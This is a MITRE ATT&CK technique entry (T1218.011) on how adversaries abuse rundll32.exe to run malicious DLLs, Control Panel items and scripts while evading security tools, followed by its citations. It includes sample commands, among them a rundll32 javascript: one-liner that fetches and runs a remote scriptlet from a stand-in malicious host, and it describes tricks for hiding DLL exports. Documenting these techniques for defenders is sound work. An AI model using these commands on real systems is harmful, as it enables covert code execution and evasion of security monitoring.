Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).

Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).

Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) 
Rundll32
source_name: mitre-attack  url: https://attack.mitre.org/techniques/T1218/011  external_id: T1218.011     source_name: rundll32.exe defense evasion  description: Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.  url: https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/     source_name: Attackify Rundll32.exe Obscurity  description: Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.  url: https://www.attackify.com/blog/rundll32_execution_order/     source_name: This is Security Command Line Confusion  description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.  url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/     source_name: Github NoRunDll  description: gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.  url: https://github.com/gtworek/PSBits/tree/master/NoRunDll     source_name: Trend Micro CPL  description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.  url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf     